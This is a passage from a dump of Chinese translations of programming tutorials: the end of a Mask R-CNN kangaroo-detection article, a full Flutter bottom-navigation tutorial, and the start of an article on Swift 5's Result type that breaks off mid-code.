box[0], box[2]\n\t\t\tmasks[row_s:row_e, col_s:col_e, i] = 1\n\t\t\tclass_ids.append(self.class_names.index('kangaroo'))\n\t\treturn masks, asarray(class_ids, dtype='int32')\n\n\t# 加载图像引用\n\tdef image_reference(self, image_id):\n\t\tinfo = self.image_info[image_id]\n\t\treturn info['path']\n\n# 定义预测配置\nclass PredictionConfig(Config):\n\t# 定义配置名\n\tNAME = \"kangaroo_cfg\"\n\t# 类的数量（背景中的 + 袋鼠）\n\tNUM_CLASSES = 1 + 1\n\t# 简化 GPU 配置\n\tGPU_COUNT = 1\n\tIMAGES_PER_GPU = 1\n\n# 绘制多张带有真实和预测边框的图像\ndef plot_actual_vs_predicted(dataset, model, cfg, n_images=5):\n\t# 加载图像和掩膜\n\tfor i in range(n_images):\n\t\t# 加载图像和掩膜\n\t\timage = dataset.load_image(i)\n\t\tmask, _ = dataset.load_mask(i)\n\t\t# 转换像素值（例如居中）\n\t\tscaled_image = mold_image(image, cfg)\n\t\t# 将图像转换为样本\n\t\tsample = expand_dims(scaled_image, 0)\n\t\t# 作出预测\n\t\tyhat = model.detect(sample, verbose=0)[0]\n\t\t# 定义子图\n\t\tpyplot.subplot(n_images, 2, i*2+1)\n\t\t# 绘制原始像素数据\n\t\tpyplot.imshow(image)\n\t\tpyplot.title('Actual')\n\t\t# 绘制掩膜\n\t\tfor j in range(mask.shape[2]):\n\t\t\tpyplot.imshow(mask[:, :, j], cmap='gray', alpha=0.3)\n\t\t# 获取绘图框的上下文\n\t\tpyplot.subplot(n_images, 2, i*2+2)\n\t\t# 绘制原始像素数据\n\t\tpyplot.imshow(image)\n\t\tpyplot.title('Predicted')\n\t\tax = pyplot.gca()\n\t\t# 绘制每个绘图框\n\t\tfor box in yhat['rois']:\n\t\t\t# 获取坐标\n\t\t\ty1, x1, y2, x2 = box\n\t\t\t# 计算绘图框的宽度和高度\n\t\t\twidth, height = x2 - x1, y2 - y1\n\t\t\t# 创建形状对象\n\t\t\trect = Rectangle((x1, y1), width, height, fill=False, color='red')\n\t\t\t# 绘制绘图框\n\t\t\tax.add_patch(rect)\n\t# 显示绘制结果\n\tpyplot.show()\n\n# 加载训练集\ntrain_set = KangarooDataset()\ntrain_set.load_dataset('kangaroo', is_train=True)\ntrain_set.prepare()\nprint('Train: %d' % len(train_set.image_ids))\n# 加载测试集\ntest_set = KangarooDataset()\ntest_set.load_dataset('kangaroo', is_train=False)\ntest_set.prepare()\nprint('Test: %d' % len(test_set.image_ids))\n# 创建配置\ncfg = PredictionConfig()\n# 定义模型\nmodel = MaskRCNN(mode='inference', model_dir='./', config=cfg)\n# 加载模型权重\nmodel_path = 'mask_rcnn_kangaroo_cfg_0005.h5'\nmodel.load_weights(model_path, by_name=True)\n# 绘制训练集预测结果\nplot_actual_vs_predicted(train_set, model, cfg)\n# 绘制测试集训练结果\nplot_actual_vs_predicted(test_set, model, cfg)\n```\n\n运行示例代码，将会创建一个显示训练集中前五张图像的绘图，并列的两张图像中分别包含了真实和预测的边框。\n\n我们可以看到，在这些示例中，模型的性能良好，它能够找出所有的袋鼠，甚至在包含两个或三个袋鼠的单张图像中也是如此。右侧一列第二张图出现了一个小错误，模型在同一个袋鼠上预测出了两个边框。\n\n![Plot of Photos of Kangaroos From the Training Dataset With Ground Truth and Predicted Bounding Boxes](https://3qeqpr26caki16dnhd19sv6by6v-wpengine.netdna-ssl.com/wp-content/uploads/2019/03/Plot-of-Photos-of-Kangaroos-From-the-Training-Dataset-with-Ground-Truth-and-Predicted-Bounding-Boxes-1024x768.png)\n\n绘制训练集中带有真实和预测边框的袋鼠图像\n\n创建的第二张图显示了测试集中带有真实和预测边框的五张图像。\n\n这些图像在训练的过程中没有出现果，同样的，模型在每一张图像中都检测到了袋鼠。我们可以发现，在最后两张照片中有两个小错误。具体来说，同一个袋鼠被检测到了两次。\n\n毫无疑问，这些差异在多次训练后可以被忽略，也许使用更大的数据集以及数据扩充，可以让模型将检测到的人物作为背景，并且不会重复检测出袋鼠。\n\n![Plot of Photos of Kangaroos From the Training Dataset With Ground Truth and Predicted Bounding Boxes](https://3qeqpr26caki16dnhd19sv6by6v-wpengine.netdna-ssl.com/wp-content/uploads/2019/05/Plot-of-Photos-of-Kangaroos-From-the-Test-Dataset-with-Ground-Truth-and-Predicted-Bounding-Boxes-1024x768.png)\n\n绘制测试集中带有真实和预测边框的袋鼠图像\n\n## 扩展阅读\n\n这一章提供了与目标检测相关的更多资源，如果你想要更深入的学习，可以阅读它们。\n\n### 论文\n\n*   [Mask R-CNN, 2017](https://arxiv.org/abs/1703.06870).\n\n### 项目\n\n*   [Kangaroo Dataset, GitHub](https://github.com/experiencor/kangaroo).\n*   [Mask RCNN Project, GitHub](https://github.com/matterport/Mask_RCNN).\n\n### API\n\n*   [xml.etree.ElementTree API](https://docs.python.org/3/library/xml.etree.elementtree.html)\n*   [matplotlib.patches.Rectangle API](https://matplotlib.org/api/_as_gen/matplotlib.patches.Rectangle.html)\n*   [matplotlib.pyplot.subplot API](https://matplotlib.org/api/_as_gen/matplotlib.pyplot.subplot.html)\n*   [matplotlib.pyplot.imshow API](https://matplotlib.org/api/_as_gen/matplotlib.pyplot.imshow.html)\n\n### 文章\n\n*   [Splash of Color: Instance Segmentation with Mask R-CNN and TensorFlow, 2018](https://engineering.matterport.com/splash-of-color-instance-segmentation-with-mask-r-cnn-and-tensorflow-7c761e238b46).\n*   [Mask R-CNN – Inspect Ballon Trained Model, Notebook](https://github.com/matterport/Mask_RCNN/blob/master/samples/balloon/inspect_balloon_model.ipynb).\n*   [Mask R-CNN – Train on Shapes Dataset, Notebook](https://github.com/matterport/Mask_RCNN/blob/master/samples/shapes/train_shapes.ipynb).\n*   [mAP (mean Average Precision) for Object Detection, 2018](https://medium.com/@jonathan_hui/map-mean-average-precision-for-object-detection-45c121a31173).\n\n## 总结\n\n在这篇教程中，我们共同探索了如何研发用于在图像中检测袋鼠目标的 Mask R-CNN 模型。\n\n具体来讲，你的学习内容包括：\n\n*   如何为训练 R-CNN 模型准备好目标检测数据集。\n*   如何使用迁移学习在新的数据集上训练目标检测模型。\n*   如何在测试数据集上评估 Mask R-CNN，以及如何在新的照片上作出预测。\n\n你还有其他任何的疑问吗？\n在下面的评论区写下你的问题，我将会尽可能给你最好的解答。\n\n> 如果发现译文存在错误或其他需要改进的地方，欢迎到 [掘金翻译计划](https://github.com/xitu/gold-miner) 对译文进行修改并 PR，也可获得相应奖励积分。文章开头的 **本文永久链接** 即为本文在 GitHub 上的 MarkDown 链接。\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO1/how-to-use-flutter-to-build-an-app-with-bottom-navigation.md",
    "content": "> * 原文地址：[How to use Flutter to build an app with bottom navigation](https://willowtreeapps.com/ideas/how-to-use-flutter-to-build-an-app-with-bottom-navigation)\n> * 原文作者：[Joseph Cherry](https://willowtreeapps.com/ideas/how-to-use-flutter-to-build-an-app-with-bottom-navigation)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO1/how-to-use-flutter-to-build-an-app-with-bottom-navigation.md](https://github.com/xitu/gold-miner/blob/master/TODO1/how-to-use-flutter-to-build-an-app-with-bottom-navigation.md)\n> * 译者：[geniusq1981](https://github.com/geniusq1981)\n> * 校对者：[DateBro](https://github.com/DateBro)\n\n# 如何用 Flutter 来创建一个带有底部导航栏的应用程序\n\n![](https://images.ctfassets.net/3cttzl4i3k1h/6zwT0UszrUmYQq8MWm2G4K/cceed7b9aeda5e862a3927fb02913c15/3-01.png?w=1400&h=600&q=80&fm=&f=&fit=fill)\n\n如果你从事移动开发，你可能听说过谷歌的跨平台 SDK：Flutter。Flutter 的 [beta 版本](https://medium.com/flutter-io/announcing-flutter-beta- build-beautiful-native-apps-dc142aea74c0) 于 2 月 27 日发布，并于近期发布了第一个预览版。为了帮助您开始使用 Flutter，本教程将介绍 SDK 的一些基本内容，同时还将介绍如何设置底部导航栏。为了帮助您学习，本教程的代码可以在 [GitHub](https://github.com/JoeCherry/my_app)上获得。\n\n### 什么是 Flutter？\n\n在我们开始编写代码之前，让我们先谈谈什么是 Flutter。Flutter SDK 继承了一套完整的开发框架，包括在 Android 和 iOS 上构建原生移动应用所需的 widget 和工具。与其他诸如 React Native 和 Xamarin 等跨平台框架的区别在于，它不使用平台原生 widget，也不使用 webview。相反，Flutter 有自己的用 C/C++ 编写的渲染引擎，而用来编写 Flutter 应用程序的 Dart 代码在各个平台上都可以编译成底层代码。这就可以在每个平台上都能做出高性能的应用。不仅应用在使用体验上非常快，而且通过 Flutter 的热重载特性也大大加快了开发时间。热重载允许开发人员在他们的设备或模拟器上立即显示修改内容的变化效果，由此可以减少那些浪费在等待代码编译的时间。\n\n### 如何创建一个 Flutter 应用\n\n现在我们已经了解了 Flutter 是什么，让我们开始创建我们的应用程序。如果您还没有准备好开发环境，请按照 [Flutter 网站](https://flutter.io/get-started/install/)的步骤安装 Flutter SDK。要创建应用程序，请运行“flutter create my_app”。如果您想让您的应用程序使用 Swift 或 Kotlin 作为平台特定代码，那么您可以从终端或命令行运行“flutter create -i Swift -a Kotlin my_app”。打开你创建的新项目，你可以使用安装了 Dart 插件的 VS Code 或者安装了 Flutter 和 Dart 插件的 Android Studio。如果您需要编辑器安装的相关帮助，请参考 Flutter 的 [帮助文档](https://flutter.io/get-started/editor/#androidsstudio)。\n\n#### 第一步 定义入口点\n\n让我们从打开 `main.dart` 文件开始，该文件位于 `lib/` 目录下。接下来，由于我们要从头开始编写应用程序，所以删除文件中的所有代码。这个文件是我们应用程序的入口点。在文件的开始编写:\n\n```\nimport 'package:flutter/material.dart';\n```\n\n这就导入了 Flutter SDK 提供的 Material Design widgets。如果您想查看所有提供的 widget，可以在 [Widget 目录](https://flutter.io/widgets/) 中查看。\n\n在导入语句之后，我们需要添加 main 方法。\n\n```\nvoid main() => runApp(App());\n```\n\n如果您在添加 main 方法后看到一些错误，不要担心。这是因为我们还没有创建传递给 `runApp` 函数的 `App` widget 类。`runApp` 函数接收一个类型为 `Widget` 的类，并将它作为 root widget 运行。\n\n\n现在我们要创建我们的 `App` widget。还是在 `main.dart` 里面，在 main 方法下面添加以下的代码。\n\n```\nclass App extends StatelessWidget {\n @override\n Widget build(BuildContext context) {\n   return MaterialApp(\n     title: 'My Flutter App',\n     home: Home(),\n   );\n }\n}\n```\n\n这就创建了一个新的无状态 widget `App`。之所以是一个无状态 widget，因为它的构建方法中没有任何内容会依赖于状态更新。所有的 `StatelessWidgets` 都需要实现 `build` 方法，因为这是我们创建用户界面的地方。在我们的 `App` widget 中，我们简单地创建了一个新的 `MaterialApp`，并将 `Home` 属性设置为我们希望显示的第一个页面或 widget。在本例中，我们把它设置为 `Home` widget，我们将在接下来创建这个 widget。\n\n#### 第二步 创建主页\n\n在 `lib` 目录下，创建一个新文件，并将其命名为 `home_widget.dart`。在这个文件的头部，我们需要再次导入 material widgets。\n\n```\nimport 'package:flutter/material.dart';\n```\n\n接下来，我们将创建作为我们主页的 widget。为此，我们将创建一个新的 `StatefulWidget`。当用户界面需要根据应用程序的当前状态发生变化时，`StatefulWidget` 就派上用场了。例如，现在我们要使用底部导航栏，我们的 `Home` widget 将根据当前选定的选项卡来渲染出不同的 widget。首先，在导入语句下面添加以下代码。\n\n```\nclass Home extends StatefulWidget {\n @override\n State<StatefulWidget> createState() {\n    return _HomeState();\n  }\n}\n```\n\n您可能会注意到，这个 widget 类没有实现我们前面提到的 build 方法。当涉及到 `StatefulWidgets` 时，build 方法会在 widget 对应的 `State` 类中实现。在 `StatefulWidget` 中，唯一需要的方法是我们在上面实现的 `createState` 方法，我们只返回一个 `_HomeState` 类实例。类名前面的 `“_”` 代表 Dart 将类或类属性标记为 private。我们现在需要创建 home widget 的 state 类。在 `home_widget.dart` 文件的末尾添加这个段代码：\n\n```\nclass _HomeState extends State<Home> {\n @override\n Widget build(BuildContext context) {\n   return Scaffold(\n     appBar: AppBar(\n       title: Text('My Flutter App'),\n     ),\n     bottomNavigationBar: BottomNavigationBar(\n       currentIndex: 0, // this will be set when a new tab is tapped\n       items: [\n         BottomNavigationBarItem(\n           icon: new Icon(Icons.home),\n           title: new Text('Home'),\n         ),\n         BottomNavigationBarItem(\n           icon: new Icon(Icons.mail),\n           title: new Text('Messages'),\n         ),\n         BottomNavigationBarItem(\n           icon: Icon(Icons.person),\n           Title: Text('Profile')\n         )\n       ],\n     ),\n   );\n }\n}\n```\n\n这里有很多内容，我们来逐一看看。在 `_HomeState` 类中，我们实现了 `Home` widget 的 build 方法。我们从 build 方法返回的 widget 叫做 `Scaffold`。这个 widget 有一些很棒的属性，可以帮助我们布置主屏幕，包括添加底部导航栏、滑动条和选项卡。我们现在只使用它的 `appBar` 和 `bottomNavigationBar` 属性。在我们的底部导航栏中，我们返回一个列表，其中列出了我们希望在底部栏中出现的项目。如您所见，我们有三个选项卡，分别是 Home、Message 和 Profile。我们还将当前索引作为属性设置为 0。稍后我们将把它与当前选项卡联系起来。当前索引可以让导航栏知道要将哪个图标用于当前选择的选项卡。\n\n此时，我们差不多已经准备好第一次运行 Flutter 应用了，来看看我们的成果。再回到 main.dart 文件，在顶部，我们需要导入新创建的 Home widget。我们可以通过在当前的导入语句下添加下面这个导入语句来实现。\n\n```\nimport 'home_widget.dart';\n```\n\n我们现在应该可以运行我们的应用了。你可以在 VS Code 里面，任意的 Dart 文件里按 F5，或者在 Android Studio 中点击 run 按钮，或者在终端中输入 `flutter run`。如果您需要模拟器安装或者模拟运行应用程序的相关帮助，请参考 Flutter 的帮助文档。如果一切顺利，你的应用应该是这样的。\n\n![flutter1](//images.ctfassets.net/3cttzl4i3k1h/6yqGn7yZ0c0wsYSQUyka2y/b34fbe9ff45aec6cc7ce77e1926e90df/flutter1.png)\n\n太棒了!我们现在已经有一个应用程序了，而且它有很漂亮的底部导航栏。然而，这里有一个问题。我们的导航栏不会导引到任何地方!现在让我们解决这个问题。\n\n#### 第三步 准备导航\n\n回到 `home_widget.dart` 文件，我们需要对 `_HomeState` 类做一些更改。在类的顶部，我们需要添加两个新的实例属性。\n\n```\n class _HomeState extends State<Home> {\n  int _currentIndex = 0;\n  final List<Widget> _children = [];\n...\n```\n\n第一个是当前所选选项卡的索引，另一个则是选项卡对应的希望渲染的 widget 列表。\n\n接下来，我们需要使用这些属性来告诉我们的 widget，当一个新选项卡被选中时需要显示什么。为此，我们需要对 build 方法返回的 scaffold widget 进行一些更改。这是我们新的 build 方法。\n\n```\n@override\n Widget build(BuildContext context) {\n   return Scaffold(\n     appBar: AppBar(\n       title: Text('My Flutter App'),\n     ),\n     body: _children[_currentIndex], // new\n     bottomNavigationBar: BottomNavigationBar(\n       onTap: onTabTapped, // new\n       currentIndex: _currentIndex, // new\n       items: [\n         new BottomNavigationBarItem(\n           icon: Icon(Icons.home),\n           title: Text('Home'),\n         ),\n         new BottomNavigationBarItem(\n           icon: Icon(Icons.mail),\n           title: Text('Messages'),\n         ),\n         new BottomNavigationBarItem(\n           icon: Icon(Icons.person),\n           title: Text('Profile')\n         )\n       ],\n     ),\n   );\n }\n```\n\n我们的 build 方法中更改的三行用 `// new` 注释了。首先，我们添加了 scaffold 的 body 属性，即在应用程序栏和底部导航栏之间显示的 widget。我们将 body 设置为与 `_children widget` 列表中相对应的 widget。接下来，我们给底部导航栏添加 `onTap` 属性。我们将它设置为一个名为 `ontabtap` 的函数，该函数将接收被选中选项卡的索引并决定如何处理它。我们马上就实现这个函数。最后，我们将底部导航栏的 `currentIndex` 设置为 state 类里面的  `_currentIndex` 属性。\n\n#### 第四步 处理导航\n\n现在，我们将添加上一步中提到的 `ontabtap` 函数。在 `_HomeState` 类的底部添加以下函数。\n\n```\nvoid onTabTapped(int index) {\n   setState(() {\n     _currentIndex = index;\n   });\n }\n```\n\n这个函数接收被选中选项卡的索引，并在我们的 state 类上调用 `setState`。这将触发 build 方法接收我们传递给它的状态信息并再次运行。在本例中，我们将传递更新的选项卡索引，该索引将更改 scaffold widget 的 body，并激活导航栏上正确的选项卡。\n\n#### 第五步 添加子 widgets\n\n我们的应用程序就要完成了。最后一步是创建 `_children` widget 列表中用到的 widget 并把它们添加到导航栏。首先 在 lib 目录下创建一个名为 `placeholder_widget.dart` 的新文件。这个文件将作为一个简单的 `StatelessWidget` 来使用背景色。\n\n```\nimport 'package:flutter/material.dart';\n\nclass PlaceholderWidget extends StatelessWidget {\n final Color color;\n\n PlaceholderWidget(this.color);\n\n @override\n Widget build(BuildContext context) {\n   return Container(\n     color: color,\n   );\n }\n}\n```\n\n现在我们要做的就是向导航栏中添加 `PlaceholderWidget`。在 `home_widget.dart` 的顶部,需要导入我们的 widget。\n\n```\nimport 'placeholder_widget.dart';\n```\n\n然后，我们要做的就是将这些 widget 添加到 `_children` 列表中，以便在选择新选项卡时渲染它们。\n\n```\nclass _HomeState extends State<Home> {\n int _currentIndex = 0;\n final List<Widget> _children = [\n   PlaceholderWidget(Colors.white),\n   PlaceholderWidget(Colors.deepOrange),\n   PlaceholderWidget(Colors.green)\n ];\n...\n```\n\n就是这样!现在应该可以运行应用程序并在选项卡之间切换了。如果您想要看到 Flutter 的热重载特性，请尝试更改一下 `BottomNavigationBarItems`。值得注意的是，更改传递给 `PlaceholderWidgets` 的颜色不会在热重载期间反映出来，因为 Flutter 会保持我们 `StatefulWidget` 的状态。\n\n![image1](//images.ctfassets.net/3cttzl4i3k1h/4XtVKoNlS06cKkm8AMmgey/d41905e98f2c7c4fd2a52a7a85b2a700/image1.gif)\n\n### 结论\n\n在本教程中，我们学习了如何搭建一个新的 Flutter 应用程序并让底部导航栏工作。像 Flutter 这样的跨平台工具在移动领域越来越流行，因为它们缩短了开发时间。Flutter 有它的独特之处，因为它不需要使用\n底层原生的 widget 或 webview。目前采用 Flutter 的主要缺点之一是在功能特性上缺少第三方支持。然而，Flutter 仍然是一种很有前途的工具，使用它可以在不牺牲性能的前提下编写出非常棒的跨平台应用程序。\n\n> 如果发现译文存在错误或其他需要改进的地方，欢迎到 [掘金翻译计划](https://github.com/xitu/gold-miner) 对译文进行修改并 PR，也可获得相应奖励积分。文章开头的 **本文永久链接** 即为本文在 GitHub 上的 MarkDown 链接。\n\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO1/how-to-use-result-in-swift.md",
    "content": "> * 原文地址：[How to use Result in Swift 5](https://www.hackingwithswift.com/articles/161/how-to-use-result-in-swift)\n> * 原文作者：[Paul Hudson](https://twitter.com/twostraws)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO1/how-to-use-result-in-swift.md](https://github.com/xitu/gold-miner/blob/master/TODO1/how-to-use-result-in-swift.md)\n> * 译者：[Bruce-pac](https://github.com/Bruce-pac)\n> * 校对者：[iWeslie](https://github.com/iWeslie)\n\n# 如何在 Swift 5 中使用 Result\n\n![](https://www.hackingwithswift.com/uploads/swift-evolution-5.jpg)\n\n[SE-0235](https://github.com/apple/swift-evolution/blob/master/proposals/0235-add-result.md) 在标准库中引入了一个 `Result` 类型，使我们能够更简单、更清晰地处理复杂代码中的错误，比如异步 API。这是人们在 Swift 早期就开始要求的东西，所以很高兴看到它终于到来!\n\nSwift 的  `Result` 类型被实现为一个枚举，它有两种情况：`success` 和 `failure`。两者都是使用泛型实现的，因此它们可以有您选择的关联值，但 `failure` 必须符合 Swift 的 `Error` 类型。\n\n为了演示 `Result`，我们可以编写一个网络请求函数来计算有多少未读消息在等待用户。在这个例子代码中，我们将只有一个可能的错误，那就是请求的 URL 字符串不是一个有效的 URL：\n\n```swift\nenum NetworkError: Error {\n    case badURL\n}\n```\n\n这个函数将接受一个 URL 字符串作为它的第一个参数，并接受一个 completion 闭包作为它的第二个参数。该 completion 闭包本身接受一个 `Result`，其中 `success` 将存储一个整数，而 `failure` 案例将是某种 `NetworkError`。我们实际上并不打算在这里连接到服务器，但是使用一个 completion 闭包至少可以让我们模拟异步代码。\n\n代码如下：\n\n```swift\nfunc fetchUnreadCount1(from urlString: String, completionHandler: @escaping (Result<Int, NetworkError>) -> Void)  {\n    guard let url = URL(string: urlString) else {\n        completionHandler(.failure(.badURL))\n        return\n    }\n    \n    // complicated networking code here\n    print(\"Fetching \\(url.absoluteString)...\")\n    completionHandler(.success(5))\n}\n```\n\n要使用该代码，我们需要检查我们的 `Result` 中的值，看看我们的调用成功还是失败，如下所示：\n\n```swift\nfetchUnreadCount1(from: \"https://www.hackingwithswift.com\") { result in\n    switch result {\n    case .success(let count):\n        print(\"\\(count) unread messages.\")\n    case .failure(let error):\n        print(error.localizedDescription)\n    }\n}\n```\n\n即使在这个简单的场景中，`Result` 也给了我们两个好处。首先，我们返回的错误现在是强类型的：它一定是某种 `NetworkError`。Swift 的常规抛出函数是不检查类型的，因此可以抛出任何类型的错误。因此，如果您添加了一个 `switch` 语句来查看他们的情况，您需要添加 `default` 情况，即使这种情况是不可能的。使用 `Result` 的强类型错误，我们可以通过列出错误枚举的所有情况来创建详尽的 `switch` 语句。\n\n其次，现在很清楚，我们要么返回成功的数据要么返回一个错误，它们两个中有且只有一个一定会返回。如果我们使用传统的 Objective-C 方法重写 `fetchUnreadCount1()` 来完成 completion 闭包，你可以看到第二个好处的重要性：\n\n```swift\nfunc fetchUnreadCount2(from urlString: String, completionHandler: @escaping (Int?, NetworkError?) -> Void) {\n    guard let url = URL(string: urlString) else {\n        completionHandler(nil, .badURL)\n        return\n    }\n    \n    print(\"Fetching \\(url.absoluteString)...\")\n    completionHandler(5, nil)\n}\n```\n\n这里，completion 闭包将同时接收一个整数和一个错误，尽管它们中的任何一个都可能是 nil。Objective-C 之所以使用这种方法，是因为它没有能力用关联的值来表示枚举，所以别无选择，只能将两者都发送回去，让用户自己去弄清楚。\n\n然而，这种方法意味着我们已经从两种可能的状态变成了四种:一个没有错误的整数，一个没有整数的错误，一个错误和一个整数，没有整数和没有错误。最后两种状态应该是不可能的，但在 Swift 引入 `Result` 之前，没有简单的方法来表达这一点。\n\n这种情况经常发生。`URLSession` 中的 `dataTask()` 方法使用相同的解决方案，例如：它用 `(Data?, URLResponse?, Error?)`。这可能会给我们提供一些数据、一个响应和一个错误，或者三者的任何组合 — Swift Evolution 的提议称这种情况“尴尬不堪”。\n\n可以将 `Result` 看作一个超级强大的 `Optional`，`Optional` 封装了一个成功的值，但也可以封装第二个表示没有值的情况。然而，对于 `Result`，第二种情况还可以传递了额外的数据，因为它告诉我们哪里出了问题，而不仅仅是 `nil`。\n\n## 为何不使用 `throws`？\n\n当你第一次看到 `Result` 时，你常常会想知道它为什么有用，尤其是自从 Swift 2.0 以来，它已经有了一个非常好的 `throws` 关键字来处理错误。\n\n你可以通过让 completion 闭包接受另一个函数来实现几乎相同的功能，该函数会抛出或返回有问题的数据，如下所示：\n\n```swift\nfunc fetchUnreadCount3(from urlString: String, completionHandler: @escaping  (() throws -> Int) -> Void) {\n    guard let url = URL(string: urlString) else {\n        completionHandler { throw NetworkError.badURL }\n        return\n    }\n    \n    print(\"Fetching \\(url.absoluteString)...\")\n    completionHandler { return 5 }\n}\n```\n\n然后，您可以使用一个接受要运行的函数的 completion 闭包调用 `fetchUnreadCount3()`，如下所示：\n\n```swift\nfetchUnreadCount3(from: \"https://www.hackingwithswift.com\") { resultFunction in\n    do {\n        let count = try resultFunction()\n        print(\"\\(count) unread messages.\")\n    } catch {\n        print(error.localizedDescription)\n    }\n}\n```\n\n这也能解决问题，但读起来要复杂得多。更糟的是，我们实际上并不知道调用 `result()` 函数是做什么的，所以如果它不仅仅返回一个值或抛出一个值，那么就有可能导致它自己的问题。\n\n即使使用更简单的代码，使用 `throws` 也常常迫使我们立即处理错误，而不是将错误存储起来供以后处理。有了 `Result`，这个问题就消失了，错误被保存在一个值中，我们可以在准备好时读取这个值。\n\n## 处理 `Result`\n\n我们已经了解了 `switch` 语句如何让我们以一种干净的方式评估 `Result` 的 `success` 和 `failure` 案例，但是在开始使用它之前，还有五件事您应该知道。\n\n首先，`Result` 有一个 `get()` 方法，如果存在则返回成功值，否则抛出错误。这允许您将 `Result` 转换为一个常规抛出调用，如下所示：\n\n```swift\nfetchUnreadCount1(from: \"https://www.hackingwithswift.com\") { result in\n    if let count = try? result.get() {\n        print(\"\\(count) unread messages.\")\n    }\n}\n\n```\n\n其次，如果您愿意，可以使用常规的 `if` 语句来读取枚举的情况，尽管有些人觉得语法有点奇怪。例如：\n\n```swift\nfetchUnreadCount1(from: \"https://www.hackingwithswift.com\") { result in\n    if case .success(let count) = result {\n        print(\"\\(count) unread messages.\")\n    }\n}\n```\n\n第三，`Result` 有一个接受可能会抛出错误的闭包的初始化器:如果闭包成功返回一个值，该值用于 `success` 情况，否则抛出的错误将被放入 `failure` 情况。\n\n例如：\n\n```swift\nlet result = Result { try String(contentsOfFile: someFile) }\n```\n\n第四，您还可以使用一般的 `Error` 协议，而不是使用您创建的特定错误枚举。事实上，Swift Evolution 的提议说：“预计 `Result` 的大多数用法都将使用 `Swift.Error` 作为 `Error` 类型参数。”\n\n因此，可以使用 `Result<Int, Error>` 而不是 `Result<Int, NetworkError>`。虽然这意味着您失去了类型抛出的安全性，但是您获得了抛出各种不同错误枚举的能力 —— 您更喜欢哪种错误枚举实际上取决于您的编码风格。\n\n最后，如果你已经在你的项目中有了一个自定义的 `Result`类型（任何你自己定义的或者从 GitHub 上的自定义 `Result` 类型导入的），那么它们将自动代替 Swift 自己的 `Result` 类型。这将允许您在不破坏代码的情况下升级到 Swift 5.0，但理想情况下，随着时间的推移，您将迁移到 Swift 自己的 `Result` 类型，以避免与其他项目不兼容。\n\n## 转换 `Result`\n\n`Result` 有另外四个可能被证明有用的方法:`map()`、`flatMap()`、` mapError()` 和 `flatMapError()`。这几个方法都能够以某种方式转换成功或错误，前两种方法和 `Optional` 上的同名方法行为类似。\n\n`map()` 方法查看 `Result` 内部，并使用指定的闭包将成功值转换为另一种类型的值。但是，如果它发现失败，它只直接使用它，而忽略您的转换。\n\n为了演示这一点，我们将编写一些代码，生成 0 到最大值之间的随机数，然后计算该数的因数。如果用户请求一个小于零的随机数，或者这个随机数恰好是素数，即它没有其他因数，除了它自己和 1，我们会认为这些都是失败情况。\n\n我们可以从编写代码开始，对两种可能的失败案例进行建模:用户试图生成一个小于 0 的随机数和生成的随机数是素数：\n\n```swift\nenum FactorError: Error {\n    case belowMinimum\n    case isPrime\n}\n```\n\n接下来，我们将编写一个函数，它接受一个最大值，并返回一个随机数或一个错误:\n\n```swift\nfunc generateRandomNumber(maximum: Int) -> Result<Int, FactorError> {\n    if maximum < 0 {\n       // creating a range below 0 will crash, so refuse\n            return .failure(.belowMinimum)\n        } else {\n            let number = Int.random(in: 0...maximum)\n            return .success(number)\n        }\n    }\n```\n\n当它被调用时，我们返回的 `Result` 要么是一个整数，要么是一个错误，所以我们可以使用 `map()` 来转换它：\n\n```swift\nlet result1 = generateRandomNumber(maximum: 11)\nlet stringNumber = result1.map { \"The random number is: \\($0).\" }\n```\n\n当我们传入一个有效的最大值时，`result1` 将是一个成功的随机数。因此，使用 `map()` 将获取这个随机数，并将其与字符串插值一起使用，然后返回另一个 `Result` 类型，这次的类型是 `Result< string, FactorError>`。\n\n但是，如果我们使用了 `generateRandomNumber(maximum: -11)`，那么 `result1` 将被设置为 `FactorError.belowMinimum` 的失败情况。因此，使用 `map()` 仍然会返回 `Result<String, FactorError>`，但是它会有相同的失败情况和相同的 `FactorError.belowMinimum` 错误。\n\n既然您已经了解了 `map()` 如何让我们将成功类型转换为另一种类型，那么让我们继续，我们有一个随机数，因此下一步是计算它的因数。为此，我们将编写另一个函数，它接受一个数字并计算其因数。如果它发现数字是素数，它将返回一个带有 `isPrime` 错误的失败 `Result`，否则它将返回因数的数量。\n\n这是代码：\n\n```swift\nfunc calculateFactors(for number: Int) -> Result<Int, FactorError> {\n    let factors = (1...number).filter { number % $0 == 0 }\n    \n    if factors.count == 2 {\n        return .failure(.isPrime)\n    } else {\n        return .success(factors.count)\n    }\n}\n\n```\n\n如果我们想使用 `map()` 来转换 `generateRandomNumber()` 生成随机数后再 `calculateFactors()` 的输出，它应该是这样的：\n\n```swift\nlet result2 